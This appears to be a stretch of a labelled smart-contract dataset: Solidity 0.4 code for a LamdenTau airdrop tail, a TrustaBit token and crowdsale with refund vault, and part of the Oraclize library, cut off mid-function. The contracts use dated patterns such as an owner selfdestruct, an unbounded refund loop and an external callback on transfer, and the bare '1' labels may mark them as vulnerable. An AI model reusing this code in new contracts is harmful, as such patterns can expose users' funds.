lamdenTau.transfer(0xe47BBeAc8F268d7126082D5574B6f027f95AF5FB, 140000000000000000000); lamdenTau.transfer(0x8D7f4b8658Ae777B498C154566fBc820f88533cd, 240000000000000000000); lamdenTau.transfer(0xB95390D77F2aF27dEb09aBF9AD6A0c36Ec1333D2, 280000000000000000000); lamdenTau.transfer(0xb9B03611Fc1EFAdD1F1a83d84CDD8CCa5d93f0CB, 160000000000000000000); lamdenTau.transfer(0x1FC6523C6F8f5F4a92EF98286f75ac4Fb86709dF, 120000000000000000000); lamdenTau.transfer(0x0Fe8C0F024B8dF422f830c34E3c406CC05735F77, 360000000000000000000); lamdenTau.transfer(0x01e6c7F612798c5C63775712F3C090F10bE120bC, 240000000000000000000); lamdenTau.transfer(0x5752ae7b663b57819de59945176835ff43805622, 30000000000000000000); lamdenTau.transfer(0x0669cE7bFe9BAE94b2A2da730398cd98f007b38C, 160000000000000000000); lamdenTau.transfer(0x976f5AcE7Aa74e0aF12F25b6aF534c4915FC945a, 20000000000000000000); lamdenTau.transfer(0x6C716B6A1d36C881c43Fa493AacD2609D52E9ce1, 120000000000000000000); lamdenTau.transfer(0x3F2AE4834ef2fe01Ec66457F524De9985e865e8B, 80000000000000000000); lamdenTau.transfer(0x8B2180c8EeBb9edFCc1F532AB8Efe51EBa6b5253, 60000000000000000000); lamdenTau.transfer(0x141CF68Ad37F924Cfe7501caB5469440b96AB6e3, 360000000000000000000); lamdenTau.transfer(0x177C3eaBD87816059C6579Ad67058E5d84b9645F, 240000000000000000000); lamdenTau.transfer(0xFfcD4AC9de1657aa3E229BE2e8361ED2C2aab60b, 200000000000000000000); lamdenTau.transfer(0xB1f0796f6bB898D933D95E6ABA82bF13B1cEc228, 160000000000000000000); lamdenTau.transfer(0x8EeB853117f3dABc0205C4b4148aE73762d27e21, 240000000000000000000); lamdenTau.transfer(0x8Fd8cfEf175CeED446B2c024c1648476A7B850f5, 120000000000000000000); lamdenTau.transfer(0x0Bc798697Fadb1bcB6A83532d353c1930Eb7Cf03, 40000000000000000000); uint256 balance = lamdenTau.balanceOf(this); lamdenTau.transfer(msg.sender, balance); } }
1
3,369
pragma solidity ^0.4.18; contract FallbackToken { function isContract(address _addr) internal constant returns (bool) { uint length; _addr = _addr; assembly {length := extcodesize(_addr)} return (length > 0); } } contract Receiver { function tokenFallback(address from, uint value) public; } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract TrustaBitToken is MintableToken, FallbackToken { string public constant name = "TrustaBits"; string public constant symbol = "TAB"; uint256 public constant decimals = 18; bool public released = false; event Release(); modifier isReleased () { require(mintingFinished); require(released); _; } modifier onlyPayloadSize(uint size) { if (msg.data.length != size + 4) { revert(); } _; } function() public payable { revert(); } function release() onlyOwner public returns (bool) { require(mintingFinished); require(!released); released = true; Release(); return true; } function transfer(address _to, uint256 _value) public isReleased onlyPayloadSize(2 * 32) returns (bool) { require(super.transfer(_to, _value)); if (isContract(_to)) { Receiver(_to).tokenFallback(msg.sender, _value); } return true; } function transferFrom(address _from, address _to, uint256 _value) public isReleased returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public isReleased returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public isReleased onlyPayloadSize(2 * 32) returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public isReleased returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract MilestoneCrowdsale { using SafeMath for uint256; uint256 public constant AVAILABLE_TOKENS = 1e9; uint256 public constant AVAILABLE_IN_PRE_SALE = 40e6; uint256 public constant AVAILABLE_IN_MAIN = 610e6; uint256 public constant AVAILABLE_FOR_EARLY_INVESTORS = 100e6; uint public preSaleStartDate; uint public preSaleEndDate; uint public mainSaleStartDate; uint public mainSaleEndDate; struct Milestone { uint start; uint end; uint256 bonus; uint256 price; } Milestone[] public milestones; uint256 public rateUSD; uint256 public earlyInvestorTokenRaised; uint256 public preSaleTokenRaised; uint256 public mainSaleTokenRaised; function initMilestones(uint _rate, uint _preSaleStartDate, uint _preSaleEndDate, uint _mainSaleStartDate, uint _mainSaleEndDate) internal { rateUSD = _rate; preSaleStartDate = _preSaleStartDate; preSaleEndDate = _preSaleEndDate; mainSaleStartDate = _mainSaleStartDate; mainSaleEndDate = _mainSaleEndDate; uint256 earlyInvestorPrice = ((25 * 1 ether) / (rateUSD * 10)); milestones.push(Milestone(now, preSaleStartDate, 0, earlyInvestorPrice)); uint256 preSalePrice = usdToEther(5); milestones.push(Milestone(preSaleStartDate, preSaleEndDate, 20, preSalePrice)); uint256 mainSalePrice = usdToEther(10); uint mainSaleStartDateWeek1 = mainSaleStartDate + 1 weeks; uint mainSaleStartDateWeek3 = mainSaleStartDate + 3 * 1 weeks; uint mainSaleStartDateWeek2 = mainSaleStartDate + 2 * 1 weeks; milestones.push(Milestone(mainSaleStartDate, mainSaleStartDateWeek1, 15, mainSalePrice)); milestones.push(Milestone(mainSaleStartDateWeek1, mainSaleStartDateWeek2, 10, mainSalePrice)); milestones.push(Milestone(mainSaleStartDateWeek2, mainSaleStartDateWeek3, 5, mainSalePrice)); milestones.push(Milestone(mainSaleStartDateWeek3, _mainSaleEndDate, 0, mainSalePrice)); } function usdToEther(uint256 usdValue) public view returns (uint256) { return usdValue.mul(1 ether).div(rateUSD); } function getCurrentMilestone() internal view returns (uint256, uint256) { for (uint i = 0; i < milestones.length; i++) { if (now >= milestones[i].start && now < milestones[i].end) { var milestone = milestones[i]; return (milestone.bonus, milestone.price); } } return (0, 0); } function getCurrentPrice() public view returns (uint256) { var (, price) = getCurrentMilestone(); return price; } function getTokenRaised() public view returns (uint256) { return mainSaleTokenRaised.add(preSaleTokenRaised.add(earlyInvestorTokenRaised)); } function isEarlyInvestors() public view returns (bool) { return now < preSaleStartDate; } function isPreSale() public view returns (bool) { return now >= preSaleStartDate && now < preSaleEndDate; } function isMainSale() public view returns (bool) { return now >= mainSaleStartDate && now < mainSaleEndDate; } function isEnded() public view returns (bool) { return now >= mainSaleEndDate; } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract TrustaBitCrowdsale is MilestoneCrowdsale, Ownable { using SafeMath for uint256; uint public constant MINIMUM_CONTRIBUTION = 3 ether; uint public constant softCapUSD = 3e6; uint public softCap; uint public constant hardCapUSD = 49e6; uint public hardCap; address public addressAdvisoryBountyTeam; uint256 public constant tokenAdvisoryBountyTeam = 250e6; address[] public investors; TrustaBitToken public token; address public wallet; uint256 public weiRaised; RefundVault public vault; bool public isFinalized = false; event Finalized(); event TokenPurchase(address indexed investor, uint256 value, uint256 amount); modifier hasMinimumContribution() { require(msg.value >= MINIMUM_CONTRIBUTION); _; } function TrustaBitCrowdsale(address _wallet, address _token, uint _rate, uint _preSaleStartDate, uint _preSaleEndDate, uint _mainSaleStartDate, uint _mainSaleEndDate, address _AdvisoryBountyTeam) public { require(_token != address(0)); require(_AdvisoryBountyTeam != address(0)); require(_rate > 0); require(_preSaleStartDate > 0); require(_preSaleEndDate > 0); require(_preSaleEndDate > _preSaleStartDate); require(_mainSaleStartDate > 0); require(_mainSaleStartDate >= _preSaleEndDate); require(_mainSaleEndDate > 0); require(_mainSaleEndDate > _mainSaleStartDate); wallet = _wallet; token = TrustaBitToken(_token); addressAdvisoryBountyTeam = _AdvisoryBountyTeam; initMilestones(_rate, _preSaleStartDate, _preSaleEndDate, _mainSaleStartDate, _mainSaleEndDate); softCap = usdToEther(softCapUSD.mul(100)); hardCap = usdToEther(hardCapUSD.mul(100)); vault = new RefundVault(wallet); } function investorsCount() public constant returns (uint) { return investors.length; } function() external payable { buyTokens(msg.sender); } function buyTokens(address investor) public hasMinimumContribution payable { require(investor != address(0)); require(!isEnded()); uint256 weiAmount = msg.value; require(getCurrentPrice() > 0); uint256 tokensAmount = calculateTokens(weiAmount); require(tokensAmount > 0); mintTokens(investor, weiAmount, tokensAmount); increaseRaised(weiAmount, tokensAmount); if (vault.deposited(investor) == 0) { investors.push(investor); } vault.deposit.value(weiAmount)(investor); } function calculateTokens(uint256 weiAmount) internal view returns (uint256) { if ((weiRaised.add(weiAmount)) > hardCap) return 0; var (bonus, price) = getCurrentMilestone(); uint256 tokensAmount = weiAmount.div(price).mul(10 ** token.decimals()); tokensAmount = tokensAmount.add(tokensAmount.mul(bonus).div(100)); if (isEarlyInvestorsTokenRaised(tokensAmount)) return 0; if (isPreSaleTokenRaised(tokensAmount)) return 0; if (isMainSaleTokenRaised(tokensAmount)) return 0; if (isTokenAvailable(tokensAmount)) return 0; return tokensAmount; } function isEarlyInvestorsTokenRaised(uint256 tokensAmount) public view returns (bool) { return isEarlyInvestors() && (earlyInvestorTokenRaised.add(tokensAmount) > AVAILABLE_FOR_EARLY_INVESTORS.mul(10 ** token.decimals())); } function isPreSaleTokenRaised(uint256 tokensAmount) public view returns (bool) { return isPreSale() && (preSaleTokenRaised.add(tokensAmount) > AVAILABLE_IN_PRE_SALE.mul(10 ** token.decimals())); } function isMainSaleTokenRaised(uint256 tokensAmount) public view returns (bool) { return isMainSale() && (mainSaleTokenRaised.add(tokensAmount) > AVAILABLE_IN_MAIN.mul(10 ** token.decimals())); } function isTokenAvailable(uint256 tokensAmount) public view returns (bool) { return getTokenRaised().add(tokensAmount) > AVAILABLE_TOKENS.mul(10 ** token.decimals()); } function increaseRaised(uint256 weiAmount, uint256 tokensAmount) internal { weiRaised = weiRaised.add(weiAmount); if (isEarlyInvestors()) { earlyInvestorTokenRaised = earlyInvestorTokenRaised.add(tokensAmount); } if (isPreSale()) { preSaleTokenRaised = preSaleTokenRaised.add(tokensAmount); } if (isMainSale()) { mainSaleTokenRaised = mainSaleTokenRaised.add(tokensAmount); } } function mintTokens(address investor, uint256 weiAmount, uint256 tokens) internal { token.mint(investor, tokens); TokenPurchase(investor, weiAmount, tokens); } function finalize() onlyOwner public { require(!isFinalized); require(isEnded()); if (softCapReached()) { vault.close(); mintAdvisoryBountyTeam(); token.finishMinting(); } else { vault.enableRefunds(); token.finishMinting(); } token.transferOwnership(owner); isFinalized = true; Finalized(); } function mintAdvisoryBountyTeam() internal { mintTokens(addressAdvisoryBountyTeam, 0, tokenAdvisoryBountyTeam.mul(10 ** token.decimals())); } function claimRefund() public { require(isFinalized); require(!softCapReached()); vault.refund(msg.sender); } function refund() onlyOwner public { require(isFinalized); require(!softCapReached()); for (uint i = 0; i < investors.length; i++) { address investor = investors[i]; if (vault.deposited(investor) != 0) { vault.refund(investor); } } } function softCapReached() public view returns (bool) { return weiRaised >= softCap; } function hardCapReached() public view returns (bool) { return weiRaised >= hardCap; } function destroy() onlyOwner public { selfdestruct(owner); } }
1
4,061
pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = 